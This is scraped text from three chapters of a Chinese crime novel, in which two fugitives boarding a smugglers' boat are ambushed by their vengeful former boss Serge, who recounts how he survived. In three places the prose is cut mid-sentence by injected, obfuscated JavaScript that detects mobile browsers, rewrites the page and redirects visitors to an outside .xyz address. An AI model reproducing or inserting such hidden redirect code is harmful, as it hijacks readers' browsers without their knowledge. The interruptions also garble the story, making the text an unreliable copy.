几天前他还躺在高级酒店最豪华的一间套房内,如今却置身于废弃旧仓库中,与成群的老鼠蟑螂为伍。十八年前他是根正苗红三好学生,如今是被通缉在逃的国际要犯。现实何其荒谬,有几本小说敢写成这样? 在史蒂文下意识地向老王开出那一枪,一切就急转直下,再也不能受控了。因此,他趁着在医院没人注意时,和史蒂文一起逃了出来。罗誉并不知道国际刑警组织给大华警方提供了他的消息,但他知道,只要老王被医院抢救回来,他们的身份就迟早暴露。 他们逃出来后,就一路来到这个废旧仓库,这几天他们都待在这里。所幸这附近没什么人,他们白天尽量不出去,晚上才弄些吃的。得益于大华外卖服务,他们可以在夜里,用备用的账户多点一些外卖食物,送到附近的某处地址,然后避开监控,取回到仓库中。 换做是在别的国家,罗誉可不至于如此狼狈。在大华,罗誉从未布局渗透,“公司” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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罗誉和史蒂文几乎是一从医院脱身,就决定了接下来偷渡离境的计划。在警方还没有发现他们时,倒是有可能利用大华警方之手,和瑟杰斗一斗。但如今就别想了,必须尽快离开大华。 Y省位于大华边境,一省邻三国。史蒂文原本想的是直接回联邦,但罗誉还是认为不妥。如今回去联邦,仍然需要直面“司令”,就算正常回去都不太安全,何况偷渡回去,他们只有两人,极容易被伏击。因此罗誉的想法是,走水路越境去暹罗,再由暹罗直飞合众国,去“公司”分部。瑟杰的人在大华,“司令”的人在联邦,手都不足以再伸到合众国去。虽说瑟杰是当初这个“公司”分部的创始人,但整个分部所有的人,当年都选择了罗誉。这也是罗誉最初的底气。如果他真的是一位普通商人,或许在给媒体的通稿上,会这样介绍这个分部:梦开始的地方。 史蒂文觉得很有道理,他总是充分肯定罗誉的决断。 仓库外有些许动静,罗誉知道,是史蒂文回来了。 他们之所以直接来这个仓库落脚,是因为这处仓库正是罗誉事先备好的安全屋。“公司”在这里没有“办事处”,没有“员工”,因此罗誉一到这里就先做了点准备,将这处仓库买下,反正是个已经荒弃的屋子,里面也没有什么正经东西了,很便宜。只是就连罗誉也没有想到,会这么快就用到它,里面很多用品还没来得及备好,否则他们甚至可以不用出去点外卖。 对外,这所仓库依然是无人管理的状态,罗誉也无意让人发觉它有什么变化。这次躲进来,罗誉和史蒂文都特意从一处杂草茂盛处的窗口出入,特意将大门保持了原状,连灰尘都没有蹭掉一颗。既然是一所废旧仓库,那就该长一副废旧的模样。 下一刻,史蒂文带着几声草叶刮动的窸窣声响,从那扇窗口钻了进来。 45.第 45 章 史蒂文带回消息,前几日打听到要出发的船,今日总算定了行程。启程就在今夜。所幸两人也没什么行李,不需要收拾,人到就行。 已近傍晚,两人在仓库中将多点的外卖吃了,稍作休整,就打算去上船的野渡。 史蒂文喝下最后一口汤,对罗誉说:“既然这次走了就不回来了,不如走门吧!” 罗誉听了,也是畅快一笑:“听你的。” 仓库深处,粗布一掀,一辆被涂装为丛林迷彩的牧马人终于得见天日。如果今天没有动它,往后也就不会有人碰它了。史蒂文拍拍引擎盖,像见到了一位志趣相投的好朋友。 未几,牧马人轰然作响,从内部撞开仓库那扇破旧的大门,呼啸着驶入杂草丛生的郊野。英雄怎可默默一生?它必一鸣惊人。 K市作为Y省的省会,位置更靠近中原,本身并不挨着国境线,但K市有不少沟河贯通,最后汇总到国界上那条大河里。因此从这里走水路一样可以越境,只是大华对国境的管理制度日益规范,近年来没有那么多漏洞可钻。偷渡也就自然少了许多。 作为一门暗行的生意,也是符合供需理论的。有需求,自然会有供给,但供给的难度提升,报出来的价码水涨船高也就成了必然。史蒂文有时候挺庆幸自己现在不需要为钱而烦恼,否则这日子可怎么过。 就眼前这样一条破破烂烂的小型围网渔船,他们将乘着它去到主河道,在一处船家熟悉的河道上,换乘到一艘大一些的船上。大船会顺流一直到河口处入海。后半段的河道就是国境,他们不需要坐到最后,只需在中途找一隐蔽处下船,即可到达暹罗。 对于绝大多数的普通人来说,偷渡绝对是个危险的事情。因为他们很有可能在交付了一笔巨额的费用之后,上了贼船,然后被穷凶极恶的蛇头抢劫、□□,甚至在确认榨干油水之后,直接杀死扔下船。只不过,那些主动选择偷渡的人群往往是奔着心中的某个圣地天堂去的。这种人就好像恋爱脑一样,已经猪油蒙了心,跟他们说再多都是浪费,搞不好他们还觉得你是在嫉妒他们。 而会偷渡的另一种人,就是像罗誉、史蒂文这类不得不偷渡的罪犯。在这类人的眼中,谁比谁危险还不好说。蛇头们通常对这类人有着敏锐的嗅觉,行程中就公事公办,不得罪不招惹,井水不犯河水就行了。 渔船安静地靠上岸边。 罗誉和史蒂文能清楚地看到船上几名船员,冷漠又麻木地看着他们俩。船长用阴郁的目光盯着他们看了会儿,随口吐掉咀嚼了很久的槟榔,跟他们对了暗号。 两人一人拎一个小旅行包,顺利登船。 船长甩甩头,示意他们跟着自己走,接着自顾自往船头方向走去。罗誉和史蒂文对视一眼,一前一后跟了上去。 渔船不大,破破烂烂,也就几个舱室能住人。罗誉他们出了高价,给安排了一间最小的船员室,总算是能有个正经休整的地方。往常,那都是给船员住的,一般的“人蛇”可没有这样的待遇。他们交钱上船后,只会被赶下鱼舱,甚至冰舱。这些舱室本就不是为人设计的,条件之差不言而喻,常会有“人蛇”不服管教,叽叽喳喳闹起来,船员就势必要被抽调去“调教”他们。不过今晚,异常安静,似乎就只有他俩登船,七八名船员都散布在甲板上。 罗誉慢悠悠地跟在船长身后,往船员室走,调侃道:“难怪要价这么高,生意不好啊!” 船长侧过头来睨了他一眼,没说话。 罗誉一手插着裤兜,施施然看着他。“你们今晚不会就我们一单吧?” 船长的眼神并不友好,但最终没说什么没素质的,只回过头继续往前走,懒懒地回了句:“都混到跑路了,还是少操心别人了吧。” 走在最后的史蒂文突然感慨:“这年头怎么好像大家的生意都不好做,日子都过得不怎么样……”说着,随手搭在身边的船舷护栏上,发出“啪”的一声响。在他身后,有个船员刚弯腰想要松开缆绳,被这一声惊得顿了顿,一时间竟然尬住,不知该不该继续。 走在最前的船长停住脚步,这次终于转过身来,看着甲板上一前一后的两人。 深夜的河沟间,游荡着青草气息的野风,穿过茂密的芦苇丛,带来远处土地的湿润与宁静。然而,在这宁静的表面下,小渔船上的气氛却紧张得如同绷紧的弓弦。 船长和船员们默不作声地看着罗誉和史蒂文,此时他们二人正在渔船一侧的甲板最窄处,一侧是船员室、驾驶台,另一侧就是船舷护栏。罗誉和史蒂文正好在这一段最窄处的两头,罗誉面向船头的船长,勾起了嘴角。史蒂文闲闲地转过头来,面向船尾,那里三四个原本蹲着的船员正在缓缓起身,向他们围拢过来。 一条内陆小渔船,平日里捕鱼,能赚多少?得空走两趟“人蛇”生意,也不过是为大船接驳而已,能分到的油水属实有限。正如罗誉史蒂文说的,生意不好,日子不好过。普通渔船在平日里,连带船长也就两三名船员足以,再多,并不划算。即便为了走些“夜路”,为了安全多配人手,也不必多到哪儿去,否则跑一趟赚的钱都不够分的。而今晚这条船,单是在甲板上就已经看到七八人,搞不好轮机室里还能蹲一两个。一条小型渔船上配这么多船员,过于隆重了。 罗誉和史蒂文经历过多少明枪暗箭,对于暗处的恶意和危险都有着超常的直觉,他们第一时间就发觉了异常。两人只是一对眼色,就明白对方的想法。没事,这种分点汤水的小蛇头,一般不会急着取人性命,因为把“人蛇”送到大船上,还能有一笔钱。他们充其量也就是趁着人在他们船上时,先吓唬住人,敲一笔竹杠,反正到大船上,“人蛇”的油水也不会被剩下。罗誉和史蒂文怎么会怕这种小角色?他们之所以上船,打的是到时候杀人夺船的主意。这种小渔船的驾驶并不困难,两人都是会开船的,熟悉一下就能操作,反正他们全程都在内陆河中行动,并不需要出海的大船,夺了船后直接开到目的地,它不香么? 船长阴恻恻地盯着罗誉,开口说道:“小老板日子既然难过,要不就不要过了。反正,”他顿了顿,扫了扫史蒂文,“你们俩也过不去了……” 话音刚落,众人脚下传出一阵声响。一个船员麻利地打开了冰舱,下面竟然早已藏了一群人。这群人鱼贯而出。更靠近船尾方向的鱼舱也被打开,同样是一群人。 果然,对方有备而来。 头顶驾驶室里,传来皮鞋的脚步声。罗誉抬头看去,一个男人双手搭着栏杆,俯瞰着他,正笑得开怀。“小罗,多年不见,别来无恙啊!” 罗誉毫不意外,勾勾嘴角,“你倒是见老了,Serge。” 瑟杰比罗誉不过大了两岁,可是夜风中,瑟杰的两鬓竟然已经有了明显的白发。如今的他,面相上愈发有了老诺坎的影子,但浑身透出的气质却更为邪气癫狂。 瑟杰听了罗誉的话,不以为意,脸上笑容不减,“我记得你以前挺会说话的,怎么现在情商变得这么低?Steven把你带坏了,还是你觉得现在已经用不着伪装了?” 那边的史蒂文闻言,抬头说道:“有没有一种可能,是你终于开始长那么一点点的脑子,终于能听懂别人的嘲讽了呢,Serge?”说完,他还附赠了一个大大的灿烂笑容。 瑟杰嗤笑,跟在他身边的两个手下却下意识绷紧了身体。他们以往的经验告诉他们,“吴先生”从刚才不得不现身起,就非常烦躁,非常生气。那两个小子还拿话怼他,真是不知死活。 史蒂文和罗誉倒是不见紧张。他们确实没有预见到这会是瑟杰给他们设的局,原先想要夺船的计划显然是成不了了。但没关系,既然知道是瑟杰的局,就简单多了。他们了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638526|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解瑟杰,即便这几年间他会有些变化,也不会太出乎意料。瑟杰自己可能都没有意识到,他和他那个疯狂的父亲有多么相像。 瑟杰没有在暴怒的第一时间开枪,就意味着他当下还不想直接杀了他俩。这心态也很容易理解,复仇是一个过程,他在过去的几年间,卧薪尝胆,克制自己,是为了能更好地享受复仇。他不想让仇人死得太轻松,他和他的父亲一样,热爱虐杀。 瑟杰闭了闭眼,再睁开时已然重新调整了情绪。今夜的他,真的太激动,太兴奋了,以至于特别敏感,容易被挑动。 “好吧!”瑟杰带点怅然地说,“我不能苛求两个正被警察到处撵着跑的人能好好说话,对不对?沦落成丧家之犬的滋味好受么,小罗?” 罗誉忽然就笑了出了声,“丧家之犬?Serge,这种体验你还需要问别人么?” 今晚在这里的人,哪一个不是丧家之犬呢? 瑟杰的脸色骤然阴沉。 Serge,他们本就是恶心的臭虫,你要控制住,正题还没有开始呢!他这样在内心对自己说。 “呵呵!我承认,我也有些狼狈。”瑟杰笑着摇了摇头,“不过,我的狼狈,不都是拜你们所赐么?小罗,你看,你们没来这里时,我可是风生水起,你们一来,我的事情就件件都不顺利,甚至到了被警方通缉的地步。小罗,你说到底是为什么,我碰到你就要倒大霉呢?” 罗誉无所谓地笑笑,史蒂文又忍不住接话:“我知道。用大华人的话说,他克你嘛!你说你怎么就不长记性呢?你都知道要倒大霉,你还非要往我们身边凑!你怎么不高兴了呢,Serge?我是按照你的逻辑往下推理,得出的结论,不是么?你不认同?所以归根到底,”史蒂文耸耸肩,摊摊手,“你倒霉是因为你无能,你的手下们废物,把事情办砸了。这跟Louie和我没有任何关系!” 船上本来只有瑟杰在控制自己的情绪,结果史蒂文一番话,就把这些瑟杰的手下也给扫射了一个遍,这下满船的人都不得不控制情绪了…… “话说回来,你都这么废物了,当年是怎么活下来的?”史蒂文话锋一转,“我的刀虽然没有下得太精准,但也够送走你半条命……” 瑟杰刚刚还阴沉着的脸,瞬间又泛上了得意之色。“可不是么!我好不容易才捡回那半条命。我这大概就是命不该绝的范例。”说到这儿,瑟杰的嘴角都压不住。 史蒂文食指点了点下巴,皱眉道:“让我猜猜,我把你扔进海里之后,没多停留就走了。在我走之后,就有人把你救了上来。”史蒂文跟着罗誉这么多年,耳濡目染的,多少也学会了一些思考方式。 瑟杰确实有些意外,他竟然能够猜到这点。“Steven,不错嘛!竟然真叫你猜对了。” 那一晚的海风,瑟杰还记得,凉意瘆人。他的衣服被海浪打湿,风一吹,更冷得让人战栗。可他顾不上这些,因为心头火热。 直到那柄猛虎刀刺入肋间,他的一腔热血才冷透。 那一定是人世间最冷的一把刀。他在海水中吐着泡泡,仅剩的那点意识就是这个念头。周遭海水的冷都比不过肋间那道伤口。瑟杰有些想哭,他自觉一生要强,生平哭的次数屈指可数,可他现在真的想哭。他就要死了,死于别人的背叛,死于自己的天真。他将毒蛇养在身侧,却竟然从未怀疑过他们的忠诚。 胸口刀伤带来的疼痛,和缺氧造成的窒息,在这一刻似乎都微不足道。他的心中填满了恨、悔,和怒。如果这些淬了毒一般的情绪能够让他变成吃人的恶鬼,他要第一个去撕开那些叛徒的血肉! 他就要死了,无论如何,他无法闭上双眼,安然地赴死。 就在这时,他感受到了腿上绳索的收紧,似乎在把他拽向水面。意识再也支撑不住,瑟杰只记得那黑沉沉的海水…… 46.第 46 章 等他再度醒来,已经在岸上。这是一间简陋的小屋子,房间里没几件东西,就连他手上挂着的输液瓶都显得很潦草。药水不多了,不知道照顾他的人什么时候回来,瑟杰自己试了试,没力气动弹,恐怕他自己是没法拔掉输液针的。 他缓缓转动眼球,目之所及,能看出来这里肯定不是医院。他被人救起,有人将他安置在隐蔽处,为他治伤,所以……那冰冷的一切,都是真的。 真可悲,瑟杰,你真可悲。 但是,你也是真的幸运!这就是所谓的“命不该绝”!瑟杰,大难不死,必有后福,之后一定有天大的好事在等着你! 门被推开,一个不起眼的中年男人走了进来,提着新的输液瓶。当他看到瑟杰醒来,先是一愣,随后欣喜起来。 瑟杰记得,他曾经是母亲的人,实际上他和母亲有着一丝很稀薄的血缘关系,这门亲戚远到平日里根本意识不到。因为远,当初母亲的事并没有牵连到他,让他得以隐匿在了某位元老的羽翼之下。因为血缘,如今又让他在关键时刻救下了瑟杰。 此后的半年里,瑟杰都躺在这张床上,蜗居于这一处简陋小屋,不见天日。他从男人处得知,如今小罗接手了父亲的势力,史蒂文辅佐他,这半年多已经把团队打造得欣欣向荣,固若金汤。也就是说,叛徒抢走了本属于他的东西,现在活得有滋有味,而他,缠绵病榻,并且仍然要像一只老鼠一样躲藏在暗无天日的阴沟里。 瑟杰很不甘心,他想要马上好起来,他要狠狠地报复那些毒蛇,他要抢回属于他的一切! 每当瑟杰无法平静时,男人总是为难地垂下头。他这个人,能力不强,个性也软弱,在帮派中混混日子还行,但要他去做什么大事,他想都不敢想。这辈子,救下瑟杰,可能就是干过的最大的事。除了救下瑟杰,将他藏起来,勉强维持他的生命,他已经没有余力。之所以能够藏下瑟杰,也不过是因为男人自己在丽娅表妹死后,习惯了躲藏而已。 他从不敢想什么复仇。且不说瑟杰有没有这个能力,单就说现如今的“仇”只是瑟杰一个人的仇,其实跟男人都没什么关系。如果他是那种有仇必报的人,丽娅的事之后,他又怎会独善其身?复仇这种事,那只会招致覆灭的后果。 可是瑟杰的复仇之心是如此强烈,根本无法劝慰。随着瑟杰伤势渐渐痊愈,男人越来越害怕,害怕哪天他来安全屋送饭时,瑟杰已经独自跑了出去惹祸。 这半年来,帮派改变很大。他们已经是“公司”了,虽然做的还是那些营生,但很多事情也不再像以前那样搏命,赚钱却比以前还稍微多些了,可见以前冒了很多不必要的风险。男人觉得现在的boss没什么不好,如果是瑟杰在那个位置上……这半年的相处下来,男人没法承认他会比那位做得更好。 男人的担忧并非毫无根据的杞人忧天。瑟杰在受伤之后,变得越来越偏执,阴晴不定,男人没有办法有效地预测他的行为,可又不能全天候陪着他。有那么几次,男人甚至产生了“他的伤要是再重点就好了”的念头。 终于,瑟杰开始可以下床了,男人也知道,必须做出抉择了。 有一天,男人匆匆回来,开始收拾东西,跟瑟杰说,“公司”很可能已经发现了他们的事,让瑟杰快些跟他走。彼时的瑟杰虽然能下床,但身体机能依旧不好,靠自己是做不了什么事的,只能跟着男人,他去哪儿就跟去哪儿。 几天之后,瑟杰才知道,男人带他过境到了大华。在这里人生地不熟,即便想再回联邦,瑟杰也得先把身体养好再说。男人告诉瑟杰,至少在大华,他们会安全许多,没有“公司”的威胁,这里的社会治安水平也比联邦要强不少,只要低调,在这里都能过下去。好好安心养伤,其他的慢慢来。这话不能说错,但瑟杰也很清楚男人心中那点小九九,并不感激他所做的一切。 两人来到大华之后,男人外出打零工挣点钱,维持两人日常所需和瑟杰预后的一些康复费用。瑟杰还没有彻底痊愈,本就宜静养,也就成天在屋子里不露面。 本来倒是都挺好,谁知有一天,男人突然就没有回来。起初瑟杰不以为意,可是第二天和第三天都不见人,瑟杰不能再意识不到男人出事了。同时,他也意识到,自己必须要出门了。 男人打零工挣的钱确实不多,但基本都抓在他自己手里,并没有给瑟杰留多少现金。一来瑟杰不需要出门,二来男人也怕万一他真的想要偷跑,所以家中没有钱。现在男人出事不回来,瑟杰必须自己出门想办法搞点钱维持生计。而一出门,他很快就从周边的住户八卦聊天中了解到一些事情。 联邦国许多人都会一些中文,这也是男人能够迅速在这边找到工作机会的原因之一。同样,瑟杰是能听懂一些中文的,虽然水平不怎么样,但够用。他没花多少时间就明白了,男人是被发现了非法移民身份,被这边抓住了,接下来按照大华的法律,妥妥要被遣返。只是显然男人没有把瑟杰供出来,所以没人来抓他。而平日里不露面,也使得周围的住户们并不知道还有瑟杰这样一个人。 瑟杰知道,暂时,他是安全的,但如果他还住在这里,势必被人发现起疑。他果断选择离开,开始了漫无目的的流浪。有时,他打一些轻体力的短工,只求老板给他一顿饭或宿一晚,有时,他又会不辨方向地往前走上好几天,累了就找个避风的角落蜷一晚。他尽量避免和人发生过多的接触,不知道自己要去哪儿,做什么,他只模糊地知道自己不能在一处停留太久,不安全。 就这样浑浑噩噩,直到遇到了同样在人生低谷中的谢泽仁…… 谢泽仁在瑟杰的眼中是完全不够看的废物,并且是很典型的废物,眼高手低,鼠目寸光,总把贪欲当作鸿鹄之志,这样的人怎配拥有好的人生呢? 可偏生就是这样一个家伙,在他的人生低谷期间,竟然还能施舍瑟杰,这属实挑战瑟杰的三观。大华的日子到底是能有多好过,才能养出这样的废物,还能让他们过得都不错? 瑟杰本打算着,稍微吃喝谢泽仁两顿,等这一波低烧退了,就挥手告别,相忘江湖算了。可就在那一天晚上,他临时改变了主意。这确实有些唐吉诃德式的荒诞,但这个决定却真真实实地改变了两人的命运。 那晚,谢泽仁竟然带回来几截粗壮的竹筒,外加一些小鱼,一回来就开始料理这些玩意儿。瑟杰看了一会儿,难道是竹筒鱼?大华Y省和联邦比邻,生活中有不少事情很接近,联邦也有用竹筒烹饪的菜肴。这让瑟杰不自觉地又念起了家乡。果不其然,谢泽仁用带回来的材料做了一桌子竹筒煮鱼,口味清淡,鲜香扑鼻,久在病中的瑟杰竟然也恢复了一些胃口。 谢泽仁欢欢喜喜跟他平分了一桌子的菜,吃得津津有味。瑟杰不禁问他:“你不是要破产了么?怎么想起来买鱼?” 谢泽仁听了嘿嘿笑:“鱼不是买的。还有,破产了为什么就不能吃鱼!想吃就吃。”谢泽仁语气颇为轻松,浑不似资不抵债的焦头烂额。 瑟杰困惑。 彼时的谢泽仁,还是个没什么心机的憨货,很有分享欲望。他一边往嘴里塞食物,一边对瑟杰又说:“我在郊区那个仓库,今天被我清了。我从那边出来,刚好路过一个废弃的野鱼塘。有个人在那边钓鱼,我反正没事儿,就蹲旁边看他钓。结果啊,这货是个菜鸡,钓上来都是这么小的鱼,他自己都不好意思了,跟我说,回去又得被老婆唠叨。我就说干脆你别说自己钓鱼来了,就说客户找你帮忙,你跑业务呢!老婆说不定还觉得你有事业心,长进了。” 瑟杰哼笑了一下,内心又忍不住鄙夷了一下底层男人。只有没用的男人才会被女人困扰,对女人说谎更是无能的表现。 谢泽仁可不知道他想些什么,自顾自继续欢快地说:“那菜鸡觉得我说得对,他就把鱼给我了哈哈哈!” 瑟杰对于这种没出息的男人莫名其妙的快乐无法理解。他这辈子根本不会因为别人偶然的馈赠而感到快乐,别人送给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“水招财,鱼镇宅,有鱼有水富贵来。鱼是带财的!他给我鱼,那不就是暗示我,财会来找我了么!” “那你还吃了它们……” “财嘛!吃下去才是自己的!再说,不好吃么?” “……那你还分我一半吃?” “……”谢泽仁有一瞬间确实有些怔愣,但转瞬就过去了,“嗨!这么多,我一个人也吃不完。这就是我消受不起这么大的福分,跟你分了就刚刚好。你也刚好需要转运,刚刚好!你看,我就说老天爷不会不管的。” 反正怎么样,谢泽仁都有话说。 也许谢泽仁说者无意,但瑟杰到这时,确实听者有心了。 从没有人给他讲过这样的“道理”,如此言之凿凿,他不禁好奇命运是否真的会有奇妙的转折。如果那个钓鱼佬真的就是谢泽仁所谓的贵人,那他的贵人在哪里?什么时候能遇见? 吃完饭,谢泽仁忙着收拾打扫,瑟杰坐着继续发呆,脑子里想的却和平日里那些恨啊悔啊的不同。如果真有“运势”这种东西,他现在是不是已经到谷底了?看起来应该是,他总不能更惨了吧!他这巅峰到谷底的落差,比起谢泽仁可是大多了。这么看来,他的贵人是不是随时都有可能出现了呢?会不会已经不经意间出现了呢?如果已经出现了,他会是谁呢? 瑟杰抬起眼皮,看着那个在忙碌的老男人。 会是眼前这个看起来没用,实际上确实废物的老男人么? 有些念头就是很奇怪,一旦生起,就再难压下,甚至还会主动找各种佐证,去证明这个念头就是真相。 如果说贵人,从海里把他捞起来的那个男人应该算不上,虽然保下了他的命,可瑟杰在那半年里,可谓生不如死,他身体破败,内心荒芜,只觉得日复一日地往下坠落。之后遇到的各种老板,也应该不算,他提供劳力,老板们给他提供食宿,这是交换,也并不改变他的境况。一路走来,似乎……只有这个老男人,在今晚,感觉有些不一样…… 瑟杰本以为自己不是个唯心的人,可在这一刻,似乎一切就在“冥冥之中”…… 47.第 47 章 “事实证明,我是对的。我在合众国时就留了点私房钱,之前一直没动,碰上谢泽仁之前我还不知道该怎么用。当我开始借谢泽仁的名义,动用这笔钱时,获得的都是绝佳的回报。我就凭这些爬出低谷。知道这叫什么么?这就叫命不该绝。老天爷都看不下去了,他不允许我轻易地死在海里,他要我好好报仇。”瑟杰从一段不短的回忆中出来,这是他第一次对别人分享这段经历,很是有几分亢奋。他双眼阴郁地盯着下方的罗誉和史蒂文,说:“我蛰伏等待了这么多年,堪比卧薪尝胆,终于等到了今天,你们说,我怎能让这么好的机会从我眼前溜走呢?我绝不允许自己犯Steven当年同样的错误!” 史蒂文扁扁嘴:“好吧,我承认,当年我太大意了……” 还没说完,就被瑟杰打断。“不不不,我才是大意的那个人。我怎么也没有想到,竟然会遭受到那样的背叛。我把两个人当成最好的兄弟,却不知道他们根本就是两条毒蛇。”瑟杰语速飞快地控诉,他深深吸了一口气,问:“我现在想知道的是,你们两人究竟是什么时候勾结到了一起的?” 史蒂文笑着当即给了他答案,反正也没什么必要隐瞒。“如果你说的是,我们彼此正式确认主从关系,那就是在小酒馆那件事之后。”史蒂文的肢体语言相当自豪,他甚至俏皮地踮了踮脚尖。 瑟杰诧异地盯着史蒂文看,即便早已清楚这两人的背叛,他也完全没有想到在那个时候,他俩就已经不再忠诚。“小酒馆!那么早!哈哈哈哈!”瑟杰爆发出一阵狂笑,困扰多年的问题终于获得了标准答案,然而他想过千万种可能,却怎么也没有想到是这样。紧随而来的困惑是:为什么?为什么是那个时候?他们三人刚刚并肩作战,同生共死,互相扶持着走出一场巨大的危机,那时候本应是他们三人感情最为紧密的时候! “为什么?”史蒂文听到这个问题的时候下意识看了罗誉一眼,不远处的罗誉依旧淡淡的,瑟杰狂笑也好,阴鸷也罢,似乎都影响不到他。史蒂文继续说:“我记得我跟你说过,我被诺坎安排给你时,就明白他的意思。原本我没什么意见,但是见到你本人之后,我就觉得这是个错误的选择。” “你看不起我。你一直看不起我。”瑟杰对这一点已经有所认知,起初他曾经不可置信,也曾愤恨难耐,到了今晚,三人月下重逢,他再说起这一点时,瑟杰已经平静了许多。 “没错,我从心底里无法认同让你做我的boss。这跟年龄没有关系,你知道,Louie比你还小两岁,我只是对你无法使用这个称谓。在那时候你确实不是一个难相处的人,和你成为酒肉朋友倒是没什么问题,但我不认为你有足够的领导能力站到我的头上。”史蒂文把话说得很直白,直白到令人刺痛。 瑟杰嘲讽地摊开手,把围着底下两人的船员们指给他们看。“如果这就是你所说的,没有足够的领导能力。”如果我没有足够的领导能力,又是怎么在被你们踩在泥土里后,再度起势,带着人把你们堵在了这里呢?瑟杰的平静,并不是接受了被史蒂文看不起的事实,他只是已经无所谓了,因为,用事实很快就会证明,史蒂文是错的。 谁知道,史蒂文对他的嘲讽完全不在意,反而学着他的动作,摊开手,指了指那些船员,抬头对瑟杰说:“这就能叫领导能力?不开玩笑,你真的管这叫领导能力?Serge,这都过了多少年了,你还是只有这点认知,还觉得自己有着巨大的成长。我只能说,这更充分地说明,我当年的选择是多么的正确。” 瑟杰嗤笑:“Steven,嘴硬是没有意义的。我凭借一己之力,建造了一个伟大的商业帝国!属于我的帝国!” 史蒂文一个后仰,翻了个白眼。“一己之力?伟大的商业帝国?Serge,你可真能给自己脸上贴金。这么伟大你何必还要上‘司令’的贼船?这么伟大你又是为什么会和我们一样,被通缉后就像老鼠一样躲在洞里?醒一醒吧,Serge。你很平庸,不足以让我臣服,我跟这些……”他又往周围这些船员扫了一眼,“杂碎们有着天壤之别。” 这话一出,船员们个个脸色阴沉了起来。 瑟杰同样不接受自己“平庸”的说法,他抬高了下巴,轻蔑地说道:“我倒是很想知道,小罗又是怎么让你甘心臣服的,他在你眼里究竟是如何不凡。” 罗誉似乎依旧对谈话兴趣缺缺,他甚至已经懒散地背朝外侧,倚靠在了船舷栏杆上,旅行袋被他放在了脚边,而他双手插兜,百无聊赖。 史蒂文看了一眼这样的罗誉,笑出八颗牙,对瑟杰说:“你看,同样是被出卖了,Louie就从来不会像个怨妇一样!” 罗誉没料到史蒂文会突然这样提到他,不禁无奈地哼笑了出来。 这一幕被瑟杰看在眼中,刺眼得很。他知道史蒂文的回答不是太认真,但也不是全然说谎欺骗他,更不是当面恭维罗誉,他看得出来,史蒂文看不起他,也懒得对他解释太多,甚至很可能认为,即使瑟杰听了他的解释也想不通,干脆就敷衍一句得了。刺伤瑟杰的,也正是这样的敷衍态度。 瑟杰自己都没有意识到过,他是一个多么渴望别人关注和认可的人。 幼时丧母,他已经记事,他生生从一个万千宠爱于一身的少爷,失去了庇护。一夜之间,所有人仿佛都开始无视他,包括他的父亲。他一度对父亲非常恐惧,好在后来确认了父亲并没有杀他的意思。再之后,他甚至窥探出,亲手将母亲凌迟的父亲,在心底里似乎并不痛恨母亲。于是他大胆地开始尝试很多方法,试图重新引起父亲的注意,只是一直没什么效果,直到十二岁那年遭遇绑架。回想起来,他甚至有些庆幸发生过那样一次绑架,否则他的父亲可能依旧想不起还有他这样一个独生子。在那之后的几年间,他终于又品尝到了众星捧月般的待遇,那也是他人生中最为明亮的日子。自天堂跌落,他再度爬起来,他再也无法容忍有谁会不把他放在眼里! 更重要的是,在瑟杰的内心深处,不管有多么不情愿也必须要承认一点:罗誉和史蒂文是迄今为止,瑟杰见过的最欣赏的两个人。即便他已经重新建立了“属于自己的帝国”,但这个“帝国”中没有一个人能够比得上他俩,这一点史蒂文是对的,他和“杂碎们”有着天壤之别。可是偏偏,这两人就是不把他放在眼里。 这大概也是一种“求不得”吧! 瑟杰也确实无法理解史蒂文所谓的“平庸”和“不凡”,更不明白他为何执着于此。瑟杰知道很多时候他被别人认为是癫狂偏执的,此时他却觉得,和史蒂文比起来,自己病得不算严重。 算了,既然是一位病人,何必跟他再计较呢?他还有很多问题,需要得到解答。而再没有比今晚更好的机会了,因为他不会让两位答题人活到明天。 念及此,瑟杰再度平静了些。他深深地吸入一口冷硬的夜风,胸口的灼烧被压下几分。 “一个惯于背叛的人,难道也有资格抱怨被别人出卖吗?当他煽动别人的时候,就应该想到自己也会有这样一天。”瑟杰阴沉地说道。 “煽动?他才没有煽动我。”史蒂文这样说的时候竟然带了几分自嘲,“当年是我找他谈了好几次。他可比姑娘难追多了!” 人群中有几人差点儿没绷住,这都是什么虎狼之词! 罗誉也很无奈,懒懒地从裤兜里抽出一只手,曲起手指,用指关节在栏杆上轻轻扣了几下,算是提醒史蒂文注意表达。 瑟杰也抽了抽眼角,他只觉得额角的青筋可能跳得有些厉害。史蒂文绝对不算是一个好的聊天对象,不管是倾听还是诉说,他都不是一个 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瑟杰冷笑,很好,又是那时候。“这么说来,几个老家伙眼光真好,这么早就买到了潜力股。” 罗誉摇摇头,说道:“倒也不是。那时候我才十三岁,Steven也不过十八岁。他们再怎样也不至于甘愿听我们的。” “那你是对他们做了些什么,让他们……呵呵!臣服于你?” 也不知道是不是某种羡慕嫉妒恨,今晚的瑟杰尤为阴阳怪气,可依旧不能唤起罗誉一丝丝的负面情绪。他仿佛完全没有听出来似的,继续说:“那时候,他们肯定不会相信我们能做什么大事啊,我就压根儿没跟他们提。我只说,两边建立联系是双赢的做法,他们也觉得有道理。” 循序渐进,徐徐图之。没错,是罗誉的风格。 